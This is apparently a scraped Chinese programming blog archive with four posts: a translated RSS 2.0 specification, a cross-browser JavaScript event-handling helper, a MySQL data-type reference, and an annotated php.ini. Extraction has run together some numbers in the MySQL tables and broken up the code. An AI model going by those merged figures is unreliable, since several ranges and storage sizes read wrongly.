本文档中首先介绍必须的和可选的频道元素;接着介绍了<item>的子元素。最后回答了一些经常碰到的问题,并提供了未来的发展路线和RSS扩展的指导方针。

必需的频道元素

下面是一个必须包含的频道(channel)元素的列表,每一个都有一个简单的描述、一个例子、应该出现的位置和更详细描述的链接地址。

01.● title 
名称:title
描述:频道的名称。它表明别人如何访问你的服务。如果你有一个与你的RSS文件内容一致的HTML网站,你的title元素值应该与你的网站的标题相同。
例子:GoUpstate.com 的新闻大字标题。

02.● link 
名称:link
描述:对应频道的网站的URL链接地址。
例子:http://www.goupstate.com/ 。

03.● description 
名称:description
描述:关于频道的描述。
例子:The latest news from GoUpstate.com, a Spartanburg Herald-Journal Web site。

可选的频道元素

下面是一个可选的频道(channel)元素的列表。

01.● language
名称:language
描述:频道使用的语言。比如,在一个网站上,允许聚合所有的意大利语站点到相应的分组。对于这个元素,可使用的值,参阅 Netscape提供的清单


。或者可以参阅W3C定义的 清单



例子:en-us。

02.● copyright
名称:copyright
描述:频道内容的版权声明。
例子:Copyright 2002, Spartanburg Herald-Journal

03.● managingEditor
名称:managingEditor
描述:频道内容责任编辑的电子邮件地址。
例子:geo@herald.com (George Matesky)

04.● webMaster
名称:webMaster
描述:频道技术支持人员的电子邮件地址。
例子:betty@herald.com (Betty Guernsey)

05.● pubDate
名称:pubDate
描述:频道内容发布的日期。所有的日期和时间都必须遵循 RFC 822


规范, 但年份可以用2个或4个字母表示(首选4个字母)。
例子:Sat, 07 Sep 2002 00:00:01 GMT

06.● lastBuildDate
名称:lastBuildDate
描述:频道内容的最后修改时间。
例子:Sat, 07 Sep 2002 09:42:31 GMT

07.● category
名称:category
描述:指定频道所属的一个或多个分类。遵循与item级category元素相同的规则。详见这里



例子:<category>Newspapers</category>

08.● generator
名称:generator
描述:表明生成频道的程序名称的字符串。
例子:MightyInHouse Content System v2.3

09.● docs
名称:docs
描述:指向该RSS文件所用格式说明文档的URL链接地址。
例子:http://blogs.law.harvard.edu/tech/rss。

10.● cloud
名称:cloud
描述:允许通过注册一个cloud来处理获得频道的更新通知,并为rss种子实现一个轻量级的发布订阅协议,详见这里



例子:<cloud domain="rpc.sys.com" port="80" path="/RPC2" registerProcedure="pingMe" protocol="soap"/>

11.● ttl
名称:ttl
描述:ttl是Time to live的缩写,表示生存时间。它表示频道从源更新之前可以缓存的时间。详见 这里



例子:<ttl>60</ttl>。

12.● image
名称:image
描述:指定一个可以在频道中显示的GIF、JPEG或者 PNG 图像。详见这里



例子:。

13.● rating
名称:rating
描述:频道的 PICS


 内容分级信息。
例子: 。

14.● textInput
名称:textInput
描述:指定一个可以在频道中显示的文本输入框。详见这里



例子:。

15.● skipHours
名称:skipHours
描述:提示聚合器,可以跳过那些小时的时间段。详见这里



例子:。

16.● skipDays
名称:skipDays
描述:提示聚合器,可以跳过那些天的时间段。详见这里



例子:。

<channel>的子元素<image> 

<image> 是 <channel>的一个可选子元素, 它本身包含了三个必须的和三个可选的子元素。

<url>是一个GIF、JPEG或PNG图像文件的URL链接地址,该图像代表整个频道。

<title>用于描述上面的图像,当频道在HTML中显示时,用于HTML语言中的<img>的alt属性。

<link>是要连接的站点的url,当显示频道时,图像的连接指向该站点。(在实际中,<title>和<link>应该与频道的<title>和<link>有相同的值)。

可选的元素包括<width>和<height>,它们是数字类型,指定图像的宽度和高度,单位为像素。
<description>就是link的TITLE属性中文本,它将在调用网页时显示出来。

图像宽度的最大值为144,默认值为88 。

图像高度的最大值为400,默认值为31 。

<channel>的子元素<cloud>

<cloud> 是 <channel>的一个可选子元素。

它指定一个可以支持rssCloud接口的web服务,rssCloud接口可以在HTTP-POST、XML-RPC或SOAP1.1中实现。

它的目的是允许通过注册一个cloud来处理获得频道的更新通知,从而为RSS feeds实现一个轻量级的发布订阅协议.

<cloud domain="rpc.sys.com" port="80" path="/RPC2" registerProcedure="myCloud.rssPleaseNotify" protocol="xml-rpc" />

在这个例子中,为了请求频道通知,你需要发送一个XML-RPC消息到rpc.sys.com的80端口,路径为/RPC2。调用的程序为为myCloud.rssPleaseNotify。

这个元素的详细说明和 rssCloud 接口说明请参阅 这里


<channel>子元素<ttl>

<ttl><channel>的一个可选子元素。

ttl是Time to live的缩写,表示生存时间。它表示频道从源重新更新之前可以缓存的时间。这使得rss源可以被一个支持文件共享的网络所管理,例如Gnutella


例子: <ttl>60</ttl>

<channel>的子元素<textInput>

频道可以选择包含一个<textInput>子元素,它本身包含了四个必须的子元素。

<title>--文本输入区域提交按钮的标签。

<description>--文本输入区域的描述。

<name>--文本输入区域中文本对象的名称。

<link>--处理文本输入请求的CGI脚本的URL链接地址。

使用<textInput>元素的目的看起来有些神秘。你可以用它提供一个搜索引擎输入框,或让读者提供反馈信息。许多聚合器忽略该元素。

<item>的元素

一个频道可以包含许多<item>元素。一个项目可以代表一个"故事" ——比如说一份报纸或杂志上的故事;如果是这样的话,那么项目的描述则是故事的摘要,项目的链接则指向整个故事的链接位置。一个项目也可以本身是完整的,如果是这样的话,项目的描述就包含了文本(整体以HTML格式编码是可以的;参见 例子


),而链接和标题可以省略。项目的所有元素都是可选的,但是至少要包含一个标题(title)或描述(description)。

01.● title
名称:title
描述:item的标题。
例子:Venice Film Festival Tries to Quit Sinking

02.● link
名称:link
描述:item的URL链接地址。
例子:http://nytimes.com/2004/12/07FEST.html

03.● description     
名称:description     
描述:item的摘要。
例子:Some of the most heated chatter at the Venice Film Festival this week was about the way that the arrival of the stars at the Palazzo del Cinema was being staged.

04.● author
名称:author
描述:item作者的电子邮件地址。详见这里



例子:。

05.● category
名称:category
描述:包含item在一个或多个分类中。详见这里



例子:。

06.● comments
名称:comments
描述:与item相关的评论的URL链接地址。详见 这里



例子:。

07.● enclosure
名称:enclosure
描述:item附加的媒体对象。详见这里



例子:。

08.● guid
名称:guid
描述:可以唯一确定item身份的字符串。详见 这里



例子:。

09.● pubDate
名称:pubDate
描述:item发布的时间。详见 这里



例子:。

10.● source
名称:source
描述:rss频道来源。详见 这里



例子:。

<item>的子元素<source>

<source>是<item>的一个可选子元素。

它的值是item所属rss频道的名称,从title衍生而来。它有一个必须包含的属性url, 该属性链接到XML序列化源。

<source url="http://www.tomalak.org/links2.xml">Tomalak's Realm</source>

该元素的作用是提高链接的声望,从而进一步推广新闻项目的源头。它可以用在聚合器的Post命令中。当从聚合器中通过一个webblog编辑工具提交一个item时,<source>应该能够被自动生成。

<item>的子元素<enclosure>

<enclosure>是<item>的一个可选子元素。

它有三个必须的属性。url属性表明enclosure的位置,length属性表明它的字节大小,而type属性则指出它的标准MIME类型。

这里的url必须为一个http url。

<enclosure url="http://www.scripting.com/mp3s/weatherReportSuite.mp3" length="12216320" type="audio/mpeg" />

它的 use-case 说明请参见这里


<item>的子元素<category>

<category>是<item>的一个可选子元素。

它有一个可选属性domain,该属性是一个用来定义分类法的字符串。

该节点的值是一个斜杠分割的字符串,它用来表明在指定的分类法中的层次位置。处理器可以为分类的识别建立协定。以下是两个例子:

<category>Grateful Dead</category>

<category domain="http://www.fool.com/cusips">MSFT</category>

你可以根据需要为不同的域包含很多<category>元素,并且可以在相同域的不同部分拥有一个交叉引用的item。

<item>的子元素<pubDate>

<pubDate> 是<item>的一个可选子元素。

它的值是一个 日期


, 表明项目发布的时间。如果它是一个将来的日期,则聚合器在日期到达之前可以选择不显示该项目。 

<pubDate>Sun, 19 May 2002 15:21:36 GMT</pubDate>

<item>的子元素<guid> 

<guid>是<item>的一个可选子元素。

guid 是 globally unique identifier的缩写。它是一个可以唯一识别这个<item>的字符串。在发布之后,聚合器可以选择使用该字符串判断这个<item>是否是新的。 

<guid>http://some.server.com/weblogItem3207</guid>

guid没有特定的语法规则。聚合器必须将它们当作一个字符串来处理。生成具有唯一性的字符串guid取决于种子的源头。

如果guid元素有isPermaLink属性,并且值为真,解释器就会认为它是item的permalink。permalink是一个可在web浏览器中打开的url链接,它指向<item>节点所描述的完整item。 例如:

<guid isPermaLink="true">http://inessential.com/2002/09/01.php#a2</guid>

isPermaLink是可选属性,默认值为真。如果值为假,guid将不会被认为是一个url或指向任何对象的url。

<item>的子元素<comments>

<comments>是<item>的一个可选子元素。

如果出现,它指向与item相关的评论的url。

<comments>http://ekzemplo.com/entry/4403/comments</comments>

更多信息,请参阅 这里


<item>的子元素<author> 

<author>是<item>的一个可选子元素。

它是item作者的电子邮件地址l。对于通过rss传播的报纸和杂志,作者可能是写该item所描述的文章的人。对于聚集型webblogs,作者可能不是责任编辑或站长。对于个人维护的webblog,忽略<author>节点是有意义的。

<author>lawyer@boyer.net (Lawyer Boyer)</author>

注释

RSS限制<link> 和 <url>元素的数据首字母为非空格字符。这些元素的数据必须以IANA-registered


 URI方案规定的格式开始,如http://, https://, news://, mailto:和 ftp://等。在RSS2.0规范之前,RSS规范只允许http:// 和 ftp://,然而在实践中,其他的URI方案被内容开发者广泛使用,并被聚合器所支持。聚合器也许对它们支持的URI方案有一些限制,而内容开发者不应该假定所有的聚合器都支持所有的URI方案。

在 RSS 0.91规范中,各种元素都被限制为500或100个字符。在一个符合0.91规范的频道中,不能超过15个 <item> 元素。在RSS 0.92和以后的规范中,不再有这些字符长度或者XML级别的限制。处理器也许强加一些它们自己的限制,产生者也许有自己的一些参数选择,它们可以规定在一个频道中,不超过一定数目的<item>元素,或者字符串都限制在一定的长度。 

如上所述,在 RSS 2.0规范中,对于一个目录系统,当链接一个频道到它的标识中时,使用基于频道级别的分类特征。 例如,如果链接一个频道到它的Syndic8 标识,则将包括一个分类元素作为频道的子元素,它有域“Syndic8”属性,同时在Syndic8 数据库中为你的频道确定这个标识。正确的分类元素脚本应该是 <category domain="Syndic8">1765</category>。

一个经常被问到的问题是关于<guid> 如何和 <link>进行区别。它们指的是相同的事情吗?在一些内容系统中是,但在别的内容系统中可能不是。在一些系统中,<link>是一个网络日志项的永久链接。然后在别的系统中,每一个<item>都是一个较长文章的摘要,<link>指向这篇文章,而<guid>则是这个网络日志入口的永久链接。在所有的情况下,建议提供<guid>,如果可能的话,并使它成为一个永久链接。这使聚合着在内容发生变化时,也不会出现重复项目成为可能。

如果你对RSS 2.0规范的格式有任何问题,请向由Sjoerd Visscher维护的电子邮件列表RSS2-Support


发送邮件。这个邮件列表不是一个技术辩论的列表,而是一个针对作者和开发人员在创建和使用RSS 2.0格式的内容时提供技术支持的列表。

RSS的扩展

RSS起源于1999年,目标是成为一个简单、易于理解的数据格式。在它逐渐成为一种流行格式之后,开发者想在一个名字空间中使用模块对它进行扩展,正像W3C定义


的那样。

RSS遵循简单的规则,增加了它的能力。一个RSS feed 可以包含不是在本页中描述的内容,而只是在一个名字空间中定义的那些元素。
 

本文档中定义的元素不是一个名字空间本省的元素,因此, RSS2.0从某种意义上来讲,和原来的版本是兼容的,即一个 0.91 或者 0.92 版本的文件也是一个有效的 2.0 版本文件。如果RSS2.0的元素是在一个名字空间中,那么这种约束将被打破,即 一个0.9x 版本的文件不可能是一个有效的2.0 版本的文件。

发展方向 

RSS决不是一个完美的格式,但是它现在已经非常流行,并得到广泛的支持。要成为一个固定的规范,RSS需要很长的一段时间。这项工作的目的是帮助RSS成为一个固定的事情,同时促进和培育围绕它进行的开发的市场的增长,并为新的聚合格式铺平道路。因此,为了实用的目的,RSS规范将被冻结在2.0.2版本。我们可以预期的可能的2.0.2 或者 2.0.3等版本,都只是出于澄清规范的目的,而不是在格式上增加新的特征。后续的工作应该集中在模块化、名字空间的使用和在完全新的聚合格式中用新的名字等方面。

许可协议和作者

RSS 2.0 是在遵循i the Attribution/Share Alike Creative Commons 许可协议


 的基础上由 the Berkman Center for Internet & Society at Harvard Law School 提供。本文档的作者是 Dave Winer,UserLand software的创始人,也是 Berkman Center 的员工

发表在 article | 标签为 | RSS 2.0 标准已关闭评论

关于IE下attachEvent不能绑定this的问题

关于IE下attachEvent

不能绑定this

的问题

由于帖子"关于IE和Firefox下event乱谈

"的回复中有好人提到IE下attachEvent

不能绑定this

的问题,并给出了一些解决方案,这里收集一段代码:
js 代码
 
  1. /**

     
  2.   * Crossbrowser event handling functions.

     
  3.   *

     
  4.   * A set of functions to easily attach and detach event handlers to HTML elements.

     
  5.   * These functions work around the shortcomings of the traditional method 
      * ( element.onevent = function; )


     
  6.   * where only 1 handler could be attached for a certain event on the object, and
      * mimic the DOM level 2


     
  7.   * event methods addEventListener and removeEventListener for browsers that do not 
      * support these


     
  8.   * methods (e.g. Internet Explorer) without resorting to propriety methods such as
      * 

    attachEvent

     and detachEvent

     
  9.   * that have a whole set of their own shortcomings.

     
  10.   * Created as an entry for the 'contest' at quirksmode.org: 
      * http://www.quirksmode.org/blog/archives/2005/09/addevent_recodi.html


     
  11.   *

     
  12.   * @author Tino Zijdel ( crisp@xs4all.nl )

     
  13.   * @version 1.0

     
  14.   * @date 2005-09-09

     
  15.   */

      
  16.   
  17.   
  18. /**
  19.   * addEvent

     
  20.   *

     
  21.   * Generic function to attach event listeners to HTML elements.

     
  22.   * 
    This

     function does NOT use 
    attachEvent

     but creates an own stack of function 
      * references


     
  23.   * in the DOM space of the element. 
    This

     prevents closures and therefor possible 
      * memory leaks.


     
  24.   * Also because of the way the function references are stored they will get executed 
      * in the


     
  25.   * same order as they where attached - matching the behavior of addEventListener.

     
  26.   *

     
  27.   * @param obj The object to which the event should be attached.

     
  28.   * @param evType The eventtype, eg. 'click', 'mousemove' etcetera.

     
  29.   * @param fn The function to be executed when the event fires.

     
  30.   * @param useCapture (optional) Whether to use event capturing, or event bubbling 
      * (default).


     
  31.   */

      
  32. function


     addEvent(obj, evType, fn, useCapture)   
  33. {   
  34.     
    //-- Default to event bubbling

      
  35.     
    if


     (!useCapture) useCapture = 
    false


    ;   
  36.   
  37.     
    //-- DOM level 2 method

      
  38.     
    if


     (obj.addEventListener)   
  39.     {   
  40.         obj.addEventListener(evType, fn, useCapture);   
  41.     }   
  42.     
    else


      
  43.     {   
  44.         
    //-- event capturing not supported

      
  45.         
    if


     (useCapture)   
  46.         {   
  47.             alert('This

     browser does not support event capturing!');   
  48.         }   
  49.         
    else


      
  50.         {   
  51.             
    var


     evTypeRef = '__' + evType;   
  52.   
  53.             
    //-- create function stack in the DOM space of the element; seperate stacks for each 
      event type


      
  54.             
    if


     (!obj[evTypeRef])   
  55.             {   
  56.                 
    //-- create the stack if it doesn't exist yet

      
  57.                 obj[evTypeRef] = [];   
  58.   
  59.                 
    //-- if there is an inline event defined store it in the stack

      
  60.                 
    var


     orgEvent = obj['on'+evType];   
  61.                 
    if


     (orgEvent) obj[evTypeRef][0] = orgEvent;   
  62.   
  63.                 
    //-- attach helper function using the DOM level 0 method

      
  64.                 obj['on'+evType] = IEEventHandler;   
  65.             }   
  66.             
    else


      
  67.             {   
  68.                 
    //-- check if handler is not already attached, don't attach the same function twice to match 
    behavior of addEventListener


      
  69.                 
    for


     (
    var


     ref 
    in


     obj[evTypeRef])   
  70.                 {   
  71.                     
    if


     (obj[evTypeRef][ref] === fn) 
    return


    ;   
  72.                 }   
  73.             }   
  74.   
  75.             
    //-- add reference to the function to the stack

      
  76.             obj[evTypeRef][obj[evTypeRef].length] = fn;   
  77.         }   
  78.     }   
  79. }   
  80.   
  81. /**
  82.   * removeEvent

     
  83.   *

     
  84.   * Generic function to remove previously attached event listeners.

     
  85.   *

     
  86.   * @param obj The object to which the event listener was attached.

     
  87.   * @param evType The eventtype, eg. 'click', 'mousemove' etcetera.

     
  88.   * @param fn The listener function.

     
  89.   * @param useCapture (optional) Whether event capturing, or event bubbling 
      * (default) was used.


     
  90.   */

      
  91. function


     removeEvent(obj, evType, fn, useCapture)   
  92. {   
  93.     
    //-- Default to event bubbling

      
  94.     
    if


     (!useCapture) useCapture = 
    false


    ;   
  95.   
  96.     
    //-- DOM level 2 method

      
  97.     
    if


     (obj.removeEventListener)   
  98.     {   
  99.         obj.removeEventListener(evType, fn, useCapture);   
  100.     }   
  101.     
    else


      
  102.     {   
  103.         
    var


     evTypeRef = '__' + evType;   
  104.   
  105.         
    //-- Check if there is a stack of function references for 
    this

     event type on the object

      
  106.         
    if


     (obj[evTypeRef])   
  107.         {   
  108.             
    //-- iterate through the stack

      
  109.             
    for


     (
    var


     ref 
    in


     obj[evTypeRef])   
  110.             {   
  111.                 
    //-- if function reference is found, remove it

      
  112.                 
    if


     (obj[evTypeRef][ref] === fn)   
  113.                 {   
  114.                     
    try


      
  115.                     {   
  116.                         
    delete


     obj[evTypeRef][ref];   
  117.                     }   
  118.                     
    catch


    (e)   
  119.                     {   
  120.                         obj[evTypeRef][ref] = 
    null


    ;   
  121.                     }   
  122.   
  123.                     
    return


    ;   
  124.                 }   
  125.             }   
  126.         }   
  127.     }   
  128. }   
  129.   
  130. /**
  131.   * IEEventHandler

     
  132.   * 

     
  133.   * IE helper function to execute the attached handlers for events.

     
  134.   * Because of the way 
    this

     helperfunction is attached to the object (using the DOM 
      * level 0 method)


     
  135.   * the '
    this

    ' keyword will correctely point to the element that the handler was 
      * defined on.


     
  136.   *

     
  137.   * @param e (optional) Event object, defaults to window.event object when not passed
      * as argument (IE).


     
  138.   */

      
  139. function


     IEEventHandler(e)   
  140. {   
  141.     e = e || window.event;   
  142.     
    var


     evTypeRef = '__' + e.type;   
  143.   
  144.     
    //-- check if there is a custom function stack defined for 
    this

     event type on the object

      
  145.     
    if


     (
    this



    [evTypeRef])   
  146.     {   
  147.         
    //-- iterate through the stack and execute each function in the scope of the object by using
     function.call


      
  148.         
    for


     (
    var


     ref 
    in


     
    this



    [evTypeRef])   
  149.         {   
  150.             
    if


     (Function.call)   
  151.             {   
  152.                 
    this



    [evTypeRef][ref].call(
    this



    , e);   
  153.             }   
  154.             
    else


      
  155.             {   
  156.                 
    //-- IE 5.0 doesn't support call or apply, so use 
    this



      
  157.                 
    this



    .__fn = 
    this



    [evTypeRef][ref];   
  158.                 
    this



    .__fn(e);   
  159.                 
    this



    .__fn = 
    null


    ;   
  160.             }   
  161.         }   
  162.     }   
  163. }  
发表在 article | 标签为 | 关于IE下attachEvent不能绑定this的问题已关闭评论

mysql 数据类型

MySQL列类型分为3大类:数值类型、日期和时间类型、字符串类型。

 

一、数值类型

如无特别说明 M 表示最大显示宽度。最大有效显示宽度是255 。显示宽度与存储大小或类型包含的值的范围无关。

定义 存储需求 数据范围 说明
无符号 有符号
BIT[(M )] ( M +7)/8B     位字段类型。M 表示每个值的位数,范围为从164; M 默认值为1
TINYINT[(M )] [UNSIGNED] [ZEROFILL] 1B 0 ~255 -128 ~127 很小的整数。
BOOLBOOLEAN       TINYINT(1) 的同义词。zero 值为false;非zero 值为true。
SMALLINT[(M )] [UNSIGNED] [ZEROFILL] 2B 0 ~65535 -32768 ~32767 小的整数。
MEDIUMINT[(M )] [UNSIGNED] [ZEROFILL] 3B 0 ~16777215 -8388608 ~8388607 中等大小的整数。
INT[(M )] [UNSIGNED] [ZEROFILL] 4B 0 ~4294967295 -2147483648 ~2147483647 普通大小的整数。
INTEGER[(M )] [UNSIGNED] [ZEROFILL]       INT 的同义词。
BIGINT[(M )] [UNSIGNED] [ZEROFILL] 8B 0 ~18446744073709551615 -9223372036854775808 ~9223372036854775807 大整数。
FLOAT[(M ,D )] [UNSIGNED] [ZEROFILL] 4B 1.175494351E-38 ~3.402823466E+38 -3.402823466E+38 ~-1.175494351E-380 ( 单精度) 浮点数。 M 是小数纵位数,D 是小数点后面的位数。如果M D 被省略,根据硬件允许的限制来保存值。单精度浮点数精确到大约7 位小数位。
DOUBLE[(M ,D )] [UNSIGNED] [ZEROFILL] 8B      
DOUBLE PRECISION[(M ,D )] [UNSIGNED] [ZEROFILL] , REAL[(M ,D )] [UNSIGNED] [ZEROFILL]       DOUBLE 的同义词。
FLOAT(p ) [UNSIGNED] [ZEROFILL] 如果0 <= p <= 244 B, 如果25 <= p <= 538 B     浮点数。p 表示精度(以位数表示),但MySQL 只使用该值来确定是否结果列的数据类型为FLOATDOUBLE 。如果p 为从024 ,数据类型变为没有M D 值的FLOAT 。如果p 为从2553 ,数据类型变为没有M D 值的DOUBLE 。结果列范围与本节前面描述的单精度FLOAT 或双精度DOUBLE 数据类型相同。
DECIMAL[(M [,D ])] [UNSIGNED] [ZEROFILL] 变长      
DEC[(M [,D ])] [UNSIGNED] [ZEROFILL] , NUMERIC[(M [,D ])] [UNSIGNED] [ZEROFILL] , FIXED[(M [,D ])] [UNSIGNED] [ZEROFILL]       DECIMAL 的同义词。

 

二、日期和时间类型

 

定义

存储需求

支持的范围

”值

说明
DATETIME 8B '1000-01-01 00:00:00' ~ '9999-12-31 23:59:59'

'0000-00-00 00:00:00'

同时包含日期和时间信息;

允许保存日/ 月和日是零的日期。

DATE 3B '1000-01-01' ~ '9999-12-31'

'0000-00-00'

仅日期值;

允许保存日/ 月和日是零的日期。

TIMESTAMP 4B 不能早于1970 或晚于2037

00000000000000

列类型的属性不固定,取决于MySQL 版本和服务器运行的SQL 模式。
TIME 3B '-838:59:59' ~ '838:59:59'

'00:00:00'

'HH:MM:SS' 格式检索和显示TIME 值。

无效TIME 值被转换为'00:00:00'。

YEAR 1B 1901 ~ 2155

0000

表示年。

单字节类型。

YYYY 格式检索和显示YEAR 值。

非法YEAR 值被转换为0000

 

1. 每个时间类型有一个有效值范围和一个“ ”值,当指定不合法的MySQL 不能表示的值时使用“ ”值。
    如果不想在日期中出现零,可以使用NO_ZERO_IN_DATE SQL 模式。
2. 如果试图插入一个不合法的日期,MySQL 将给出警告或错误。
3. 可以使用ALLOW_INVALID_DATES SQL 模式让MySQL 接受某些日期。
4. 允许将'0000-00-00' 保存为“伪日期”( 如果不使用NO_ZERO_DATE SQL 模式) ,这在某些情况下比使用NULL 值更方便( 并且数据和索引占用的空间更小)

 

5. 可以使用任何常见格式指定DATETIME DATE TIMESTAMP 值:

'YYYY-MM-DD HH:MM:SS''YY-MM-DD HH:MM:SS' 格式的字符串。

'YYYY-MM-DD''YY-MM-DD' 格式的字符串。

'YYYYMMDDHHMMSS''YYMMDDHHMMSS' 格式的没有间割符的字符串。

'YYYYMMDD''YYMMDD' 格式的没有间割符的字符串。

YYYYMMDDHHMMSSYYMMDDHHMMSS 格式的数字。

YYYYMMDDYYMMDD 格式的数字。

无效DATETIMEDATE 或者TIMESTAMP 值被转换为相应类型的“ ”值。

 

6. 可以用各种格式指定TIME 值:

'D HH:MM:SS.fraction' 格式的字符串。

'HHMMSS' 格式的没有间割符的字符串。

HHMMSS 格式的数值。

超出TIME 范围但合法的值被裁为范围最接近的端点。

 

三、字符串类型:

定义

存储需求

长度 存储(值) 说明

CHAR(M )

M 个字节,0 <= M <= 255

列长度固定为创建表时声明的长度。

长度可以为从0255 的任何值。

 

当保存CHAR 值时,在它们的右边填充空格以达到指定的长度。

声明的长度表示你想要保存的最大字符数。

当检索到CHAR 值时,尾部的空格被删除掉。

在存储或检索过程中不进行大小写转换。

VARCHAR(M )

L +1 个字节,其中L <= M 0 <= M <= 65535

列中的值为可变长字符串。

长度可以指定为065,535 之间的值。

值保存时不进行填充,只保存需要的字符数,另加一个字节来记录长度( 如果列声明的长度超过255 ,则使用两个字节)

声明的长度表示你想要保存的最大字符数。

BINARY(M )

M 个字节,0 <= M <= 255

长度是字节长度。

保存BINARY 值时,在它们右边填充值以达到指定长度。

存储二进制字符串。

插入值时在右侧添加0x00 on ,并且选择时不删除尾部的字节。

比较时所有字节很重要,包括ORDER BYDISTINCT 操作。

VARBINARY(M )

L +1 个字节,其中L <= M 0 <= M <= 255

长度是字节长度。

 

存储二进制字符串。

插入时不填充字符,选择时不裁剪字节。

比较时所有字节很重要,包括ORDER BYDISTINCT 操作。

BLOB

L +2 个字节,其中L < 216

4BLOB 类型:TINYBLOB BLOBMEDIUMBLOB LONGBLOB

它们只是可容纳值的最大长度不同。

二进制大对象,可以容纳可变数量的数据。 没有字符集,并且排序和比较基于列值字节的数值值。
TEXT

L +2 个字节,其中L < 216

4TEXT 类型:TINYTEXT TEXTMEDIUMTEXT LONGTEXT

这些对应4BLOB 类型,有相同的最大长度和存储需求。

非二进制字符串( 字符字符串) 有一个字符集,并且根据字符集的 校对规则对值进行排序和比较。

TINYBLOB , TINYTEXT

L +1 个字节,其中L < 28

     

MEDIUMBLOB , MEDIUMTEXT

L +3 个字节,其中L < 224

     

LONGBLOB , LONGTEXT

L +4 个字节,其中L < 232

     

ENUM('value1 ','value2 ',...)

12 个字节,取决于枚举值的个数( 最多65,535 个值)

  是一个字符串对象,其值来自表创建时在列规定中显式枚举的一列值。

枚举最多可以有65,535 个元素。

SET('value1 ','value2 ',...)

1234 或者8 个字节,取决于set 成员的数目( 最多64 个成员)

  是一个字符串对象,可以有零或多个值,其值来自表创建时规定的允许的一列值。 最多可以有64 个不同的成员。

 

其它数据库与MySQL的类型对应关系:

其它数据库类型

MySQL 类型

BOOL ,

TINYINT

BOOLEAN

TINYINT

CHAR VARYING(M )

VARCHAR(M )

DEC

DECIMAL

FIXED

DECIMAL

FLOAT4

FLOAT

FLOAT8

DOUBLE

INT1

TINYINT

INT2

SMALLINT

INT3

MEDIUMINT

INT4

INT

INT8

BIGINT

LONG VARBINARY

MEDIUMBLOB

LONG VARCHAR

MEDIUMTEXT

LONG

MEDIUMTEXT

MIDDLEINT

MEDIUMINT

NUMERIC

DECIMAL

发表在 db | 标签为 , | mysql 数据类型已关闭评论

PHP.ini 注释

这个文件控制了PHP许多方面的观点。为了让PHP读取这个文件,它必须被命名为
; &acute;php.ini&acute;。PHP 将在这些地方依次查找该文件:当前工作目录;环境变量PHPRC
; 指明的路径;编译时指定的路径。
; 在windows下,编译时的路径是Windows安装目录。
; 在命令行模式下,php.ini的查找路径可以用 -c 参数替代。

; 该文件的语法非常简单。空白字符和用分号&acute;;&acute;开始的行被简单地忽略(就象你可能
; 猜到的一样)。 章节标题(例如 : [Foo])也被简单地忽略,即使将来它们可能
; 有某种的意义。
;
; 指示被指定使用如下语法:
; 指示标识符 = 值
; directive = value
; 指示标识符 是 *大小写敏感的* - foo=bar 不同于 FOO = bar。
;
; 值可以是一个字符串,一个数字,一个 PHP 常量 (如: E_ALL or M_PI), INI 常量中的
; 一个 (On, Off, True, False, Yes, No and None) ,或是一个表达式
; (如: E_ALL & ~E_NOTICE), 或是用引号括起来的字符串("foo").
;
; INI 文件的表达式被限制于位运算符和括号。
; | bitwise OR 字串1

; & bitwise AND
; ~ bitwise NOT
; ! boolean NOT
;
; 布尔标志可用 1, On, True or Yes 这些值置于开的状态。
; 它们可用 0, Off, False or No 这些值置于关的状态。
;
; 一个空字符串可以用在等号后不写任何东西表示,或者用 None 关键字:
;
; foo = ; 将foo置为空字符串
; foo = none ; 将foo置为空字符串
; foo = "none" ; 将foo置为字符串&acute;none&acute;
;
; 如果你值设置中使用常量,而这些常量属于动态调入的扩展库(不是 PHP 的扩展,就是
; Zend 的扩展),你仅可以调入这些扩展的行*之后*使用这些常量。
;
; 所有在 php.ini-dist 文件里设定的值与内建的默认值相同(这是说,如果 php.ini
; 没被使用或者你删掉了这些行,默认值与之相同)。

;;;;;;;;;;;;;;;;;;;;
; 语言选项 ;
;;;;;;;;;;;;;;;;;;;;

engine = On
; 使 PHP scripting language engine(PHP 脚本语言引擎)在 Apache下有效。
short_open_tag = On
; 允许 <? 标识(这种简单表示)。否则 仅有 <?php and <script> tags 将被识别。

字串8

asp_tags = Off
; 允许ASP-style <% %> tags
precision = 14
; 浮点类型数显示时的有效位数

y2k_compliance = Off
; 是否打开 2000年适应 (可能在非Y2K适应的浏览器中导致问题)

output_buffering = Off
; 输出缓存允许你甚至在输出正文内容之后发送 header(标头,包括cookies)行
; 其代价是输出层减慢一点点速度。你可以使用输出缓存在运行时打开输出缓存,
; 或者在这里将指示设为 On 而使得所有文件的输出缓存打开。

implicit_flush = Off
; 强制flush(刷新)让PHP 告诉输出层在每个输出块之后自动刷新自身数据。
; 这等效于在每个 print() 或 echo() 调用和每个 HTML 块后调用flush()函数。
; 打开这项设置会导致严重的运行时冲突,建议仅在debug过程中打开。

allow_call_time_pass_reference = On
; 是否让强迫函数调用时按引用传递参数。这一方法遭到抗议,
; 并可能在将来版本的PHP/Zend里不再支持。
; 受到鼓励的指定哪些参数按引用传递的方法是在函数声明里。
; 你被鼓励尝试关闭这一选项并确认你的脚本仍能正常工作,以保证在将来版本的语言里 字串9

; 它们仍能工作。(你将在每次使用该特点时得到一个警告,而参数将按值而不是按引用
; 传递)。

; Safe Mode 安全模式
safe_mode = Off
safe_mode_exec_dir =
safe_mode_allowed_env_vars = PHP_
; ?Setting certain environment variables
; ?may be a potential security breach.
; 该指示包含用逗号分隔的前缀列表。安全模式中,用户仅可以替换
; 以在此列出的前缀开头的环境变量的值。
; 默认地,用户将仅能 设定以PHP_开头的环境变量,(如: PHP_FOO=BAR)。
; 注意: 如果这一指示为空,PHP 将让用户更改任意环境变量!

safe_mode_protected_env_vars = LD_LIBRARY_PATH
; 这条指示包含一个用逗号分隔的环境变量列表,那是最终用户将不能用putenv () 更改的。
; 这些变量甚至在safe_mode_allowed_env_vars 设置为允许的情况下得到保护。

disable_functions =
; 这条指示让你可以为了安全的原因让特定函数失效。
; 它接受一个用逗号分隔的函数名列表。
; 这条指示 *不受* 安全模式是否打开的影响。

; 语法高亮模式的色彩。
; 只要能被<font color=???>接受的东西就能工作。

字串6

highlight.string = #DD0000
highlight.comment = #FF8000
highlight.keyword = #007700
highlight.bg = #FFFFFF
highlight.default = #0000BB
highlight.html = #000000

; Misc 杂项
expose_php = Off
; 决定 PHP 是否标示它装在服务器上的事实(例如:加在它 —PHP—给Web服务
; 发送的信号上)。
; (我个人的意见,在出现什么power-by的header的时候,把这关掉。)
; 它不会有安全上的威胁, 但它使检查你的服务器上是否安装了PHP成为了可能。

;;;;;;;;;;;;;;;;;;;
; Resource Limits ;
